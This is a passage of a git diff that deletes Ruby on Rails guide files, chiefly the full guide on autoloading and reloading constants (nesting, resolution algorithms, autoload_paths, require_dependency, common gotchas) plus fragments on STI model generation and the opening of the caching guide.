"Motorcycle" or "Bicycle." -STI won't work without a "type" field in the table. - -Next, we will generate the three models that inherit from Vehicle. For this, -we can use the `--parent=PARENT` option, which will generate a model that -inherits from the specified parent and without equivalent migration (since the -table already exists). - -For example, to generate the Car model: - -```bash -$ rails generate model car --parent=Vehicle -``` - -The generated model will look like this: - -```ruby -class Car < Vehicle -end -``` - -This means that all behavior added to Vehicle is available for Car too, as -associations, public methods, etc. - -Creating a car will save it in the `vehicles` table with "Car" as the `type` field: - -```ruby -Car.create(color: 'Red', price: 10000) -``` - -will generate the following SQL: - -```sql -INSERT INTO "vehicles" ("type", "color", "price") VALUES ('Car', 'Red', 10000) -``` - -Querying car records will just search for vehicles that are cars: - -```ruby -Car.all -``` - -will run a query like: - -```sql -SELECT "vehicles".* FROM "vehicles" WHERE "vehicles"."type" IN ('Car') -``` diff --git a/source/autoloading_and_reloading_constants.md b/source/autoloading_and_reloading_constants.md deleted file mode 100644 index 05743ee..0000000 --- a/source/autoloading_and_reloading_constants.md +++ /dev/null @@ -1,1314 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Autoloading and Reloading Constants -=================================== - -This guide documents how constant autoloading and reloading works. - -After reading this guide, you will know: - -* Key aspects of Ruby constants -* What is `autoload_paths` -* How constant autoloading works -* What is `require_dependency` -* How constant reloading works -* Solutions to common autoloading gotchas - --------------------------------------------------------------------------------- - - -Introduction ------------- - -Ruby on Rails allows applications to be written as if their code was preloaded. - -In a normal Ruby program classes need to load their dependencies: - -```ruby -require 'application_controller' -require 'post' - -class PostsController < ApplicationController - def index - @posts = Post.all - end -end -``` - -Our Rubyist instinct quickly sees some redundancy in there: If classes were -defined in files matching their name, couldn't their loading be automated -somehow? We could save scanning the file for dependencies, which is brittle. - -Moreover, `Kernel#require` loads files once, but development is much more smooth -if code gets refreshed when it changes without restarting the server. It would -be nice to be able to use `Kernel#load` in development, and `Kernel#require` in -production. - -Indeed, those features are provided by Ruby on Rails, where we just write - -```ruby -class PostsController < ApplicationController - def index - @posts = Post.all - end -end -``` - -This guide documents how that works. - - -Constants Refresher -------------------- - -While constants are trivial in most programming languages, they are a rich -topic in Ruby. - -It is beyond the scope of this guide to document Ruby constants, but we are -nevertheless going to highlight a few key topics. Truly grasping the following -sections is instrumental to understanding constant autoloading and reloading. - -### Nesting - -Class and module definitions can be nested to create namespaces: - -```ruby -module XML - class SAXParser - # (1) - end -end -``` - -The *nesting* at any given place is the collection of enclosing nested class and -module objects outwards. The nesting at any given place can be inspected with -`Module.nesting`. For example, in the previous example, the nesting at -(1) is - -```ruby -[XML::SAXParser, XML] -``` - -It is important to understand that the nesting is composed of class and module -*objects*, it has nothing to do with the constants used to access them, and is -also unrelated to their names. - -For instance, while this definition is similar to the previous one: - -```ruby -class XML::SAXParser - # (2) -end -``` - -the nesting in (2) is different: - -```ruby -[XML::SAXParser] -``` - -`XML` does not belong to it. - -We can see in this example that the name of a class or module that belongs to a -certain nesting does not necessarily correlate with the namespaces at the spot. - -Even more, they are totally independent, take for instance - -```ruby -module X - module Y - end -end - -module A - module B - end -end - -module X::Y - module A::B - # (3) - end -end -``` - -The nesting in (3) consists of two module objects: - -```ruby -[A::B, X::Y] -``` - -So, it not only doesn't end in `A`, which does not even belong to the nesting, -but it also contains `X::Y`, which is independent from `A::B`. - -The nesting is an internal stack maintained by the interpreter, and it gets -modified according to these rules: - -* The class object following a `class` keyword gets pushed when its body is -executed, and popped after it. - -* The module object following a `module` keyword gets pushed when its body is -executed, and popped after it. - -* A singleton class opened with `class << object` gets pushed, and popped later. - -* When `instance_eval` is called using a string argument, -the singleton class of the receiver is pushed to the nesting of the eval'ed -code. When `class_eval` or `module_eval` is called using a string argument, -the receiver is pushed to the nesting of the eval'ed code. - -* The nesting at the top-level of code interpreted by `Kernel#load` is empty -unless the `load` call receives a true value as second argument, in which case -a newly created anonymous module is pushed by Ruby. - -It is interesting to observe that blocks do not modify the stack. In particular -the blocks that may be passed to `Class.new` and `Module.new` do not get the -class or module being defined pushed to their nesting. That's one of the -differences between defining classes and modules in one way or another. - -### Class and Module Definitions are Constant Assignments - -Let's suppose the following snippet creates a class (rather than reopening it): - -```ruby -class C -end -``` - -Ruby creates a constant `C` in `Object` and stores in that constant a class -object. The name of the class instance is "C", a string, named after the -constant. - -That is, - -```ruby -class Project < ApplicationRecord -end -``` - -performs a constant assignment equivalent to - -```ruby -Project = Class.new(ApplicationRecord) -``` - -including setting the name of the class as a side-effect: - -```ruby -Project.name # => "Project" -``` - -Constant assignment has a special rule to make that happen: if the object -being assigned is an anonymous class or module, Ruby sets the object's name to -the name of the constant. - -INFO. From then on, what happens to the constant and the instance does not -matter. For example, the constant could be deleted, the class object could be -assigned to a different constant, be stored in no constant anymore, etc. Once -the name is set, it doesn't change. - -Similarly, module creation using the `module` keyword as in - -```ruby -module Admin -end -``` - -performs a constant assignment equivalent to - -```ruby -Admin = Module.new -``` - -including setting the name as a side-effect: - -```ruby -Admin.name # => "Admin" -``` - -WARNING. The execution context of a block passed to `Class.new` or `Module.new` -is not entirely equivalent to the one of the body of the definitions using the -`class` and `module` keywords. But both idioms result in the same constant -assignment. - -Thus, when one informally says "the `String` class", that really means: the -class object stored in the constant called "String" in the class object stored -in the `Object` constant. `String` is otherwise an ordinary Ruby constant and -everything related to constants such as resolution algorithms applies to it. - -Likewise, in the controller - -```ruby -class PostsController < ApplicationController - def index - @posts = Post.all - end -end -``` - -`Post` is not syntax for a class. Rather, `Post` is a regular Ruby constant. If -all is good, the constant is evaluated to an object that responds to `all`. - -That is why we talk about *constant* autoloading, Rails has the ability to -load constants on the fly. - -### Constants are Stored in Modules - -Constants belong to modules in a very literal sense. Classes and modules have -a constant table; think of it as a hash table. - -Let's analyze an example to really understand what that means. While common -abuses of language like "the `String` class" are convenient, the exposition is -going to be precise here for didactic purposes. - -Let's consider the following module definition: - -```ruby -module Colors - RED = '0xff0000' -end -``` - -First, when the `module` keyword is processed, the interpreter creates a new -entry in the constant table of the class object stored in the `Object` constant. -Said entry associates the name "Colors" to a newly created module object. -Furthermore, the interpreter sets the name of the new module object to be the -string "Colors". - -Later, when the body of the module definition is interpreted, a new entry is -created in the constant table of the module object stored in the `Colors` -constant. That entry maps the name "RED" to the string "0xff0000". - -In particular, `Colors::RED` is totally unrelated to any other `RED` constant -that may live in any other class or module object. If there were any, they -would have separate entries in their respective constant tables. - -Pay special attention in the previous paragraphs to the distinction between -class and module objects, constant names, and value objects associated to them -in constant tables. - -### Resolution Algorithms - -#### Resolution Algorithm for Relative Constants - -At any given place in the code, let's define *cref* to be the first element of -the nesting if it is not empty, or `Object` otherwise. - -Without getting too much into the details, the resolution algorithm for relative -constant references goes like this: - -1. If the nesting is not empty the constant is looked up in its elements and in -order. The ancestors of those elements are ignored. - -2. If not found, then the algorithm walks up the ancestor chain of the cref. - -3. If not found and the cref is a module, the constant is looked up in `Object`. - -4. If not found, `const_missing` is invoked on the cref. The default -implementation of `const_missing` raises `NameError`, but it can be overridden. - -Rails autoloading **does not emulate this algorithm**, but its starting point is -the name of the constant to be autoloaded, and the cref. See more in [Relative -References](#autoloading-algorithms-relative-references). - -#### Resolution Algorithm for Qualified Constants - -Qualified constants look like this: - -```ruby -Billing::Invoice -``` - -`Billing::Invoice` is composed of two constants: `Billing` is relative and is -resolved using the algorithm of the previous section. - -INFO. Leading colons would make the first segment absolute rather than -relative: `::Billing::Invoice`. That would force `Billing` to be looked up -only as a top-level constant. - -`Invoice` on the other hand is qualified by `Billing` and we are going to see -its resolution next. Let's define *parent* to be that qualifying class or module -object, that is, `Billing` in the example above. The algorithm for qualified -constants goes like this: - -1. The constant is looked up in the parent and its ancestors. - -2. If the lookup fails, `const_missing` is invoked in the parent. The default -implementation of `const_missing` raises `NameError`, but it can be overridden. - -As you see, this algorithm is simpler than the one for relative constants. In -particular, the nesting plays no role here, and modules are not special-cased, -if neither they nor their ancestors have the constants, `Object` is **not** -checked. - -Rails autoloading **does not emulate this algorithm**, but its starting point is -the name of the constant to be autoloaded, and the parent. See more in -[Qualified References](#autoloading-algorithms-qualified-references). - - -Vocabulary ----------- - -### Parent Namespaces - -Given a string with a constant path we define its *parent namespace* to be the -string that results from removing its rightmost segment. - -For example, the parent namespace of the string "A::B::C" is the string "A::B", -the parent namespace of "A::B" is "A", and the parent namespace of "A" is "". - -The interpretation of a parent namespace when thinking about classes and modules -is tricky though. Let's consider a module M named "A::B": - -* The parent namespace, "A", may not reflect nesting at a given spot. - -* The constant `A` may no longer exist, some code could have removed it from -`Object`. - -* If `A` exists, the class or module that was originally in `A` may not be there -anymore. For example, if after a constant removal there was another constant -assignment there would generally be a different object in there. - -* In such case, it could even happen that the reassigned `A` held a new class or -module called also "A"! - -* In the previous scenarios M would no longer be reachable through `A::B` but -the module object itself could still be alive somewhere and its name would -still be "A::B". - -The idea of a parent namespace is at the core of the autoloading algorithms -and helps explain and understand their motivation intuitively, but as you see -that metaphor leaks easily. Given an edge case to reason about, take always into -account that by "parent namespace" the guide means exactly that specific string -derivation. - -### Loading Mechanism - -Rails autoloads files with `Kernel#load` when `config.cache_classes` is false, -the default in development mode, and with `Kernel#require` otherwise, the -default in production mode. - -`Kernel#load` allows Rails to execute files more than once if [constant -reloading](#constant-reloading) is enabled. - -This guide uses the word "load" freely to mean a given file is interpreted, but -the actual mechanism can be `Kernel#load` or `Kernel#require` depending on that -flag. - - -Autoloading Availability ------------------------- - -Rails is always able to autoload provided its environment is in place. For -example the `runner` command autoloads: - -``` -$ bin/rails runner 'p User.column_names' -["id", "email", "created_at", "updated_at"] -``` - -The console autoloads, the test suite autoloads, and of course the application -autoloads. - -By default, Rails eager loads the application files when it boots in production -mode, so most of the autoloading going on in development does not happen. But -autoloading may still be triggered during eager loading. - -For example, given - -```ruby -class BeachHouse < House -end -``` - -if `House` is still unknown when `app/models/beach_house.rb` is being eager -loaded, Rails autoloads it. - - -autoload_paths --------------- - -As you probably know, when `require` gets a relative file name: - -```ruby -require 'erb' -``` - -Ruby looks for the file in the directories listed in `$LOAD_PATH`. That is, Ruby -iterates over all its directories and for each one of them checks whether they -have a file called "erb.rb", or "erb.so", or "erb.o", or "erb.dll". If it finds -any of them, the interpreter loads it and ends the search. Otherwise, it tries -again in the next directory of the list. If the list gets exhausted, `LoadError` -is raised. - -We are going to cover how constant autoloading works in more detail later, but -the idea is that when a constant like `Post` is hit and missing, if there's a -`post.rb` file for example in `app/models` Rails is going to find it, evaluate -it, and have `Post` defined as a side-effect. - -Alright, Rails has a collection of directories similar to `$LOAD_PATH` in which -to look up `post.rb`. That collection is called `autoload_paths` and by -default it contains: - -* All subdirectories of `app` in the application and engines present at boot - time. For example, `app/controllers`. They do not need to be the default - ones, any custom directories like `app/workers` belong automatically to - `autoload_paths`. - -* Any existing second level directories called `app/*/concerns` in the - application and engines. - -* The directory `test/mailers/previews`. - -Also, this collection is configurable via `config.autoload_paths`. For example, -`lib` was in the list years ago, but no longer is. An application can opt-in -by adding this to `config/application.rb`: - -```ruby -config.autoload_paths << "#{Rails.root}/lib" -``` - -`config.autoload_paths` is not changeable from environment-specific configuration files. - -The value of `autoload_paths` can be inspected. In a just generated application -it is (edited): - -``` -$ bin/rails r 'puts ActiveSupport::Dependencies.autoload_paths' -.../app/assets -.../app/controllers -.../app/helpers -.../app/mailers -.../app/models -.../app/controllers/concerns -.../app/models/concerns -.../test/mailers/previews -``` - -INFO. `autoload_paths` is computed and cached during the initialization process. -The application needs to be restarted to reflect any changes in the directory -structure. - - -Autoloading Algorithms ----------------------- - -### Relative References - -A relative constant reference may appear in several places, for example, in - -```ruby -class PostsController < ApplicationController - def index - @posts = Post.all - end -end -``` - -all three constant references are relative. - -#### Constants after the `class` and `module` Keywords - -Ruby performs a lookup for the constant that follows a `class` or `module` -keyword because it needs to know if the class or module is going to be created -or reopened. - -If the constant is not defined at that point it is not considered to be a -missing constant, autoloading is **not** triggered. - -So, in the previous example, if `PostsController` is not defined when the file -is interpreted Rails autoloading is not going to be triggered, Ruby will just -define the controller. - -#### Top-Level Constants - -On the contrary, if `ApplicationController` is unknown, the constant is -considered missing and an autoload is going to be attempted by Rails. - -In order to load `ApplicationController`, Rails iterates over `autoload_paths`. -First it checks if `app/assets/application_controller.rb` exists. If it does not, -which is normally the case, it continues and finds -`app/controllers/application_controller.rb`. - -If the file defines the constant `ApplicationController` all is fine, otherwise -`LoadError` is raised: - -``` -unable to autoload constant ApplicationController, expected - to define it (LoadError) -``` - -INFO. Rails does not require the value of autoloaded constants to be a class or -module object. For example, if the file `app/models/max_clients.rb` defines -`MAX_CLIENTS = 100` autoloading `MAX_CLIENTS` works just fine. - -#### Namespaces - -Autoloading `ApplicationController` looks directly under the directories of -`autoload_paths` because the nesting in that spot is empty. The situation of -`Post` is different, the nesting in that line is `[PostsController]` and support -for namespaces comes into play. - -The basic idea is that given - -```ruby -module Admin - class BaseController < ApplicationController - @@all_roles = Role.all - end -end -``` - -to autoload `Role` we are going to check if it is defined in the current or -parent namespaces, one at a time. So, conceptually we want to try to autoload -any of - -``` -Admin::BaseController::Role -Admin::Role -Role -``` - -in that order. That's the idea. To do so, Rails looks in `autoload_paths` -respectively for file names like these: - -``` -admin/base_controller/role.rb -admin/role.rb -role.rb -``` - -modulus some additional directory lookups we are going to cover soon. - -INFO. `'Constant::Name'.underscore` gives the relative path without extension of -the file name where `Constant::Name` is expected to be defined. - -Let's see how Rails autoloads the `Post` constant in the `PostsController` -above assuming the application has a `Post` model defined in -`app/models/post.rb`. - -First it checks for `posts_controller/post.rb` in `autoload_paths`: - -``` -app/assets/posts_controller/post.rb -app/controllers/posts_controller/post.rb -app/helpers/posts_controller/post.rb -... -test/mailers/previews/posts_controller/post.rb -``` - -Since the lookup is exhausted without success, a similar search for a directory -is performed, we are going to see why in the [next section](#automatic-modules): - -``` -app/assets/posts_controller/post -app/controllers/posts_controller/post -app/helpers/posts_controller/post -... -test/mailers/previews/posts_controller/post -``` - -If all those attempts fail, then Rails starts the lookup again in the parent -namespace. In this case only the top-level remains: - -``` -app/assets/post.rb -app/controllers/post.rb -app/helpers/post.rb -app/mailers/post.rb -app/models/post.rb -``` - -A matching file is found in `app/models/post.rb`. The lookup stops there and the -file is loaded. If the file actually defines `Post` all is fine, otherwise -`LoadError` is raised. - -### Qualified References - -When a qualified constant is missing Rails does not look for it in the parent -namespaces. But there is a caveat: when a constant is missing, Rails is -unable to tell if the trigger was a relative reference or a qualified one. - -For example, consider - -```ruby -module Admin - User -end -``` - -and - -```ruby -Admin::User -``` - -If `User` is missing, in either case all Rails knows is that a constant called -"User" was missing in a module called "Admin". - -If there is a top-level `User` Ruby would resolve it in the former example, but -wouldn't in the latter. In general, Rails does not emulate the Ruby constant -resolution algorithms, but in this case it tries using the following heuristic: - -> If none of the parent namespaces of the class or module has the missing -> constant then Rails assumes the reference is relative. Otherwise qualified. - -For example, if this code triggers autoloading - -```ruby -Admin::User -``` - -and the `User` constant is already present in `Object`, it is not possible that -the situation is - -```ruby -module Admin - User -end -``` - -because otherwise Ruby would have resolved `User` and no autoloading would have -been triggered in the first place. Thus, Rails assumes a qualified reference and -considers the file `admin/user.rb` and directory `admin/user` to be the only -valid options. - -In practice, this works quite well as long as the nesting matches all parent -namespaces respectively and the constants that make the rule apply are known at -that time. - -However, autoloading happens on demand. If by chance the top-level `User` was -not yet loaded, then Rails assumes a relative reference by contract. - -Naming conflicts of this kind are rare in practice, but if one occurs, -`require_dependency` provides a solution by ensuring that the constant needed -to trigger the heuristic is defined in the conflicting place. - -### Automatic Modules - -When a module acts as a namespace, Rails does not require the application to -define a file for it, a directory matching the namespace is enough. - -Suppose an application has a back office whose controllers are stored in -`app/controllers/admin`. If the `Admin` module is not yet loaded when -`Admin::UsersController` is hit, Rails needs first to autoload the constant -`Admin`. - -If `autoload_paths` has a file called `admin.rb` Rails is going to load that -one, but if there's no such file and a directory called `admin` is found, Rails -creates an empty module and assigns it to the `Admin` constant on the fly. - -### Generic Procedure - -Relative references are reported to be missing in the cref where they were hit, -and qualified references are reported to be missing in their parent (see -[Resolution Algorithm for Relative -Constants](#resolution-algorithm-for-relative-constants) at the beginning of -this guide for the definition of *cref*, and [Resolution Algorithm for Qualified -Constants](#resolution-algorithm-for-qualified-constants) for the definition of -*parent*). - -The procedure to autoload constant `C` in an arbitrary situation is as follows: - -``` -if the class or module in which C is missing is Object - let ns = '' -else - let M = the class or module in which C is missing - - if M is anonymous - let ns = '' - else - let ns = M.name - end -end - -loop do - # Look for a regular file. - for dir in autoload_paths - if the file "#{dir}/#{ns.underscore}/c.rb" exists - load/require "#{dir}/#{ns.underscore}/c.rb" - - if C is now defined - return - else - raise LoadError - end - end - end - - # Look for an automatic module. - for dir in autoload_paths - if the directory "#{dir}/#{ns.underscore}/c" exists - if ns is an empty string - let C = Module.new in Object and return - else - let C = Module.new in ns.constantize and return - end - end - end - - if ns is empty - # We reached the top-level without finding the constant. - raise NameError - else - if C exists in any of the parent namespaces - # Qualified constants heuristic. - raise NameError - else - # Try again in the parent namespace. - let ns = the parent namespace of ns and retry - end - end -end -``` - - -require_dependency ------------------- - -Constant autoloading is triggered on demand and therefore code that uses a -certain constant may have it already defined or may trigger an autoload. That -depends on the execution path and it may vary between runs. - -There are times, however, in which you want to make sure a certain constant is -known when the execution reaches some code. `require_dependency` provides a way -to load a file using the current [loading mechanism](#loading-mechanism), and -keeping track of constants defined in that file as if they were autoloaded to -have them reloaded as needed. - -`require_dependency` is rarely needed, but see a couple of use-cases in -[Autoloading and STI](#autoloading-and-sti) and [When Constants aren't -Triggered](#when-constants-aren-t-missed). - -WARNING. Unlike autoloading, `require_dependency` does not expect the file to -define any particular constant. Exploiting this behavior would be a bad practice -though, file and constant paths should match. - - -Constant Reloading ------------------- - -When `config.cache_classes` is false Rails is able to reload autoloaded -constants. - -For example, if you're in a console session and edit some file behind the -scenes, the code can be reloaded with the `reload!` command: - -``` -> reload! -``` - -When the application runs, code is reloaded when something relevant to this -logic changes. In order to do that, Rails monitors a number of things: - -* `config/routes.rb`. - -* Locales. - -* Ruby files under `autoload_paths`. - -* `db/schema.rb` and `db/structure.sql`. - -If anything in there changes, there is a middleware that detects it and reloads -the code. - -Autoloading keeps track of autoloaded constants. Reloading is implemented by -removing them all from their respective classes and modules using -`Module#remove_const`. That way, when the code goes on, those constants are -going to be unknown again, and files reloaded on demand. - -INFO. This is an all-or-nothing operation, Rails does not attempt to reload only -what changed since dependencies between classes makes that really tricky. -Instead, everything is wiped. - - -Module#autoload isn't Involved ------------------------------- - -`Module#autoload` provides a lazy way to load constants that is fully integrated -with the Ruby constant lookup algorithms, dynamic constant API, etc. It is quite -transparent. - -Rails internals make extensive use of it to defer as much work as possible from -the boot process. But constant autoloading in Rails is **not** implemented with -`Module#autoload`. - -One possible implementation based on `Module#autoload` would be to walk the -application tree and issue `autoload` calls that map existing file names to -their conventional constant name. - -There are a number of reasons that prevent Rails from using that implementation. - -For example, `Module#autoload` is only capable of loading files using `require`, -so reloading would not be possible. Not only that, it uses an internal `require` -which is not `Kernel#require`. - -Then, it provides no way to remove declarations in case a file is deleted. If a -constant gets removed with `Module#remove_const` its `autoload` is not triggered -again. Also, it doesn't support qualified names, so files with namespaces should -be interpreted during the walk tree to install their own `autoload` calls, but -those files could have constant references not yet configured. - -An implementation based on `Module#autoload` would be awesome but, as you see, -at least as of today it is not possible. Constant autoloading in Rails is -implemented with `Module#const_missing`, and that's why it has its own contract, -documented in this guide. - - -Common Gotchas --------------- - -### Nesting and Qualified Constants - -Let's consider - -```ruby -module Admin - class UsersController < ApplicationController - def index - @users = User.all - end - end -end -``` - -and - -```ruby -class Admin::UsersController < ApplicationController - def index - @users = User.all - end -end -``` - -To resolve `User` Ruby checks `Admin` in the former case, but it does not in -the latter because it does not belong to the nesting (see [Nesting](#nesting) -and [Resolution Algorithms](#resolution-algorithms)). - -Unfortunately Rails autoloading does not know the nesting in the spot where the -constant was missing and so it is not able to act as Ruby would. In particular, -`Admin::User` will get autoloaded in either case. - -Albeit qualified constants with `class` and `module` keywords may technically -work with autoloading in some cases, it is preferable to use relative constants -instead: - -```ruby -module Admin - class UsersController < ApplicationController - def index - @users = User.all - end - end -end -``` - -### Autoloading and STI - -Single Table Inheritance (STI) is a feature of Active Record that enables -storing a hierarchy of models in one single table. The API of such models is -aware of the hierarchy and encapsulates some common needs. For example, given -these classes: - -```ruby -# app/models/polygon.rb -class Polygon < ApplicationRecord -end - -# app/models/triangle.rb -class Triangle < Polygon -end - -# app/models/rectangle.rb -class Rectangle < Polygon -end -``` - -`Triangle.create` creates a row that represents a triangle, and -`Rectangle.create` creates a row that represents a rectangle. If `id` is the -ID of an existing record, `Polygon.find(id)` returns an object of the correct -type. - -Methods that operate on collections are also aware of the hierarchy. For -example, `Polygon.all` returns all the records of the table, because all -rectangles and triangles are polygons. Active Record takes care of returning -instances of their corresponding class in the result set. - -Types are autoloaded as needed. For example, if `Polygon.first` is a rectangle -and `Rectangle` has not yet been loaded, Active Record autoloads it and the -record is correctly instantiated. - -All good, but if instead of performing queries based on the root class we need -to work on some subclass, things get interesting. - -While working with `Polygon` you do not need to be aware of all its descendants, -because anything in the table is by definition a polygon, but when working with -subclasses Active Record needs to be able to enumerate the types it is looking -for. Let’s see an example. - -`Rectangle.all` only loads rectangles by adding a type constraint to the query: - -```sql -SELECT "polygons".* FROM "polygons" -WHERE "polygons"."type" IN ("Rectangle") -``` - -Let’s introduce now a subclass of `Rectangle`: - -```ruby -# app/models/square.rb -class Square < Rectangle -end -``` - -`Rectangle.all` should now return rectangles **and** squares: - -```sql -SELECT "polygons".* FROM "polygons" -WHERE "polygons"."type" IN ("Rectangle", "Square") -``` - -But there’s a caveat here: How does Active Record know that the class `Square` -exists at all? - -Even if the file `app/models/square.rb` exists and defines the `Square` class, -if no code yet used that class, `Rectangle.all` issues the query - -```sql -SELECT "polygons".* FROM "polygons" -WHERE "polygons"."type" IN ("Rectangle") -``` - -That is not a bug, the query includes all *known* descendants of `Rectangle`. - -A way to ensure this works correctly regardless of the order of execution is to -manually load the direct subclasses at the bottom of the file that defines each -intermediate class: - -```ruby -# app/models/rectangle.rb -class Rectangle < Polygon -end -require_dependency 'square' -``` - -This needs to happen for every intermediate (non-root and non-leaf) class. The -root class does not scope the query by type, and therefore does not necessarily -have to know all its descendants. - -### Autoloading and `require` - -Files defining constants to be autoloaded should never be `require`d: - -```ruby -require 'user' # DO NOT DO THIS - -class UsersController < ApplicationController - ... -end -``` - -There are two possible gotchas here in development mode: - -1. If `User` is autoloaded before reaching the `require`, `app/models/user.rb` -runs again because `load` does not update `$LOADED_FEATURES`. - -2. If the `require` runs first Rails does not mark `User` as an autoloaded -constant and changes to `app/models/user.rb` aren't reloaded. - -Just follow the flow and use constant autoloading always, never mix -autoloading and `require`. As a last resort, if some file absolutely needs to -load a certain file use `require_dependency` to play nice with constant -autoloading. This option is rarely needed in practice, though. - -Of course, using `require` in autoloaded files to load ordinary 3rd party -libraries is fine, and Rails is able to distinguish their constants, they are -not marked as autoloaded. - -### Autoloading and Initializers - -Consider this assignment in `config/initializers/set_auth_service.rb`: - -```ruby -AUTH_SERVICE = if Rails.env.production? - RealAuthService -else - MockedAuthService -end -``` - -The purpose of this setup would be that the application uses the class that -corresponds to the environment via `AUTH_SERVICE`. In development mode -`MockedAuthService` gets autoloaded when the initializer runs. Let’s suppose -we do some requests, change its implementation, and hit the application again. -To our surprise the changes are not reflected. Why? - -As [we saw earlier](#constant-reloading), Rails removes autoloaded constants, -but `AUTH_SERVICE` stores the original class object. Stale, non-reachable -using the original constant, but perfectly functional. - -The following code summarizes the situation: - -```ruby -class C - def quack - 'quack!' - end -end - -X = C -Object.instance_eval { remove_const(:C) } -X.new.quack # => quack! -X.name # => C -C # => uninitialized constant C (NameError) -``` - -Because of that, it is not a good idea to autoload constants on application -initialization. - -In the case above we could implement a dynamic access point: - -```ruby -# app/models/auth_service.rb -class AuthService - if Rails.env.production? - def self.instance - RealAuthService - end - else - def self.instance - MockedAuthService - end - end -end -``` - -and have the application use `AuthService.instance` instead. `AuthService` -would be loaded on demand and be autoload-friendly. - -### `require_dependency` and Initializers - -As we saw before, `require_dependency` loads files in an autoloading-friendly -way. Normally, though, such a call does not make sense in an initializer. - -One could think about doing some [`require_dependency`](#require-dependency) -calls in an initializer to make sure certain constants are loaded upfront, for -example as an attempt to address the [gotcha with STIs](#autoloading-and-sti). - -Problem is, in development mode [autoloaded constants are wiped](#constant-reloading) -if there is any relevant change in the file system. If that happens then -we are in the very same situation the initializer wanted to avoid! - -Calls to `require_dependency` have to be strategically written in autoloaded -spots. - -### When Constants aren't Missed - -#### Relative References - -Let's consider a flight simulator. The application has a default flight model - -```ruby -# app/models/flight_model.rb -class FlightModel -end -``` - -that can be overridden by each airplane, for instance - -```ruby -# app/models/bell_x1/flight_model.rb -module BellX1 - class FlightModel < FlightModel - end -end - -# app/models/bell_x1/aircraft.rb -module BellX1 - class Aircraft - def initialize - @flight_model = FlightModel.new - end - end -end -``` - -The initializer wants to create a `BellX1::FlightModel` and nesting has -`BellX1`, that looks good. But if the default flight model is loaded and the -one for the Bell-X1 is not, the interpreter is able to resolve the top-level -`FlightModel` and autoloading is thus not triggered for `BellX1::FlightModel`. - -That code depends on the execution path. - -These kind of ambiguities can often be resolved using qualified constants: - -```ruby -module BellX1 - class Plane - def flight_model - @flight_model ||= BellX1::FlightModel.new - end - end -end -``` - -Also, `require_dependency` is a solution: - -```ruby -require_dependency 'bell_x1/flight_model' - -module BellX1 - class Plane - def flight_model - @flight_model ||= FlightModel.new - end - end -end -``` - -#### Qualified References - -Given - -```ruby -# app/models/hotel.rb -class Hotel -end - -# app/models/image.rb -class Image -end - -# app/models/hotel/image.rb -class Hotel - class Image < Image - end -end -``` - -the expression `Hotel::Image` is ambiguous because it depends on the execution -path. - -As [we saw before](#resolution-algorithm-for-qualified-constants), Ruby looks -up the constant in `Hotel` and its ancestors. If `app/models/image.rb` has -been loaded but `app/models/hotel/image.rb` hasn't, Ruby does not find `Image` -in `Hotel`, but it does in `Object`: - -``` -$ bin/rails r 'Image; p Hotel::Image' 2>/dev/null -Image # NOT Hotel::Image! -``` - -The code evaluating `Hotel::Image` needs to make sure -`app/models/hotel/image.rb` has been loaded, possibly with -`require_dependency`. - -In these cases the interpreter issues a warning though: - -``` -warning: toplevel constant Image referenced by Hotel::Image -``` - -This surprising constant resolution can be observed with any qualifying class: - -``` -2.1.5 :001 > String::Array -(irb):1: warning: toplevel constant Array referenced by String::Array - => Array -``` - -WARNING. To find this gotcha the qualifying namespace has to be a class, -`Object` is not an ancestor of modules. - -### Autoloading within Singleton Classes - -Let's suppose we have these class definitions: - -```ruby -# app/models/hotel/services.rb -module Hotel - class Services - end -end - -# app/models/hotel/geo_location.rb -module Hotel - class GeoLocation - class << self - Services - end - end -end -``` - -If `Hotel::Services` is known by the time `app/models/hotel/geo_location.rb` -is being loaded, `Services` is resolved by Ruby because `Hotel` belongs to the -nesting when the singleton class of `Hotel::GeoLocation` is opened. - -But if `Hotel::Services` is not known, Rails is not able to autoload it, the -application raises `NameError`. - -The reason is that autoloading is triggered for the singleton class, which is -anonymous, and as [we saw before](#generic-procedure), Rails only checks the -top-level namespace in that edge case. - -An easy solution to this caveat is to qualify the constant: - -```ruby -module Hotel - class GeoLocation - class << self - Hotel::Services - end - end -end -``` - -### Autoloading in `BasicObject` - -Direct descendants of `BasicObject` do not have `Object` among their ancestors -and cannot resolve top-level constants: - -```ruby -class C < BasicObject - String # NameError: uninitialized constant C::String -end -``` - -When autoloading is involved that plot has a twist. Let's consider: - -```ruby -class C < BasicObject - def user - User # WRONG - end -end -``` - -Since Rails checks the top-level namespace `User` gets autoloaded just fine the -first time the `user` method is invoked. You only get the exception if the -`User` constant is known at that point, in particular in a *second* call to -`user`: - -```ruby -c = C.new -c.user # surprisingly fine, User -c.user # NameError: uninitialized constant C::User -``` - -because it detects that a parent namespace already has the constant (see [Qualified -References](#autoloading-algorithms-qualified-references)). - -As with pure Ruby, within the body of a direct descendant of `BasicObject` use -always absolute constant paths: - -```ruby -class C < BasicObject - ::String # RIGHT - - def user - ::User # RIGHT - end -end -``` diff --git a/source/caching_with_rails.md b/source/caching_with_rails.md deleted file mode 100644 index af4ef6a..0000000 --- a/source/caching_with_rails.md +++ /dev/null @@ -1,591 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Caching with Rails: An Overview -=============================== - -This guide is an introduction to speeding up your Rails application with caching. - -Caching means to store content generated during the request-response cycle and -to reuse it when responding to similar requests. - -Caching is often the most effective way to boost an application's performance. -Through caching, web sites running on a single server with a single database -can sustain a load of thousands of concurrent users. - -Rails provides a set of caching features out of the box. This guide will teach -you the scope and purpose of each one of them. Master these techniques and your -Rails applications can serve millions of views without exorbitant response times -or server bills. - -After reading this guide, you will know: - -* Fragment and Russian doll caching. -* How to manage the caching dependencies. -* Alternative cache stores. -* Conditional GET support. - --------------------------------------------------------------------------------- - -Basic Caching -------------- - -This is an introduction to three types of caching techniques: page, action and -fragment caching. By default Rails provides fragment caching. In order to use -page and action caching you will need to add `actionpack-page_caching` and -`actionpack-action_caching` to your Gemfile. - -By default, caching is only enabled in your production environment. To play -around with caching locally you'll want to enable caching in your local -environment by setting `config.action_controller.perform_caching` to `true` in -the relevant `config/environments/*.rb` file: - -```ruby -config.action_controller.perform_caching = true -``` - -NOTE: Changing the value of `config.action_controller.perform_caching` will -only have an effect on the caching provided by the Action Controller component. -For instance, it will not impact low-level caching, that we address -[below](#low-level-caching). - -### Page Caching - 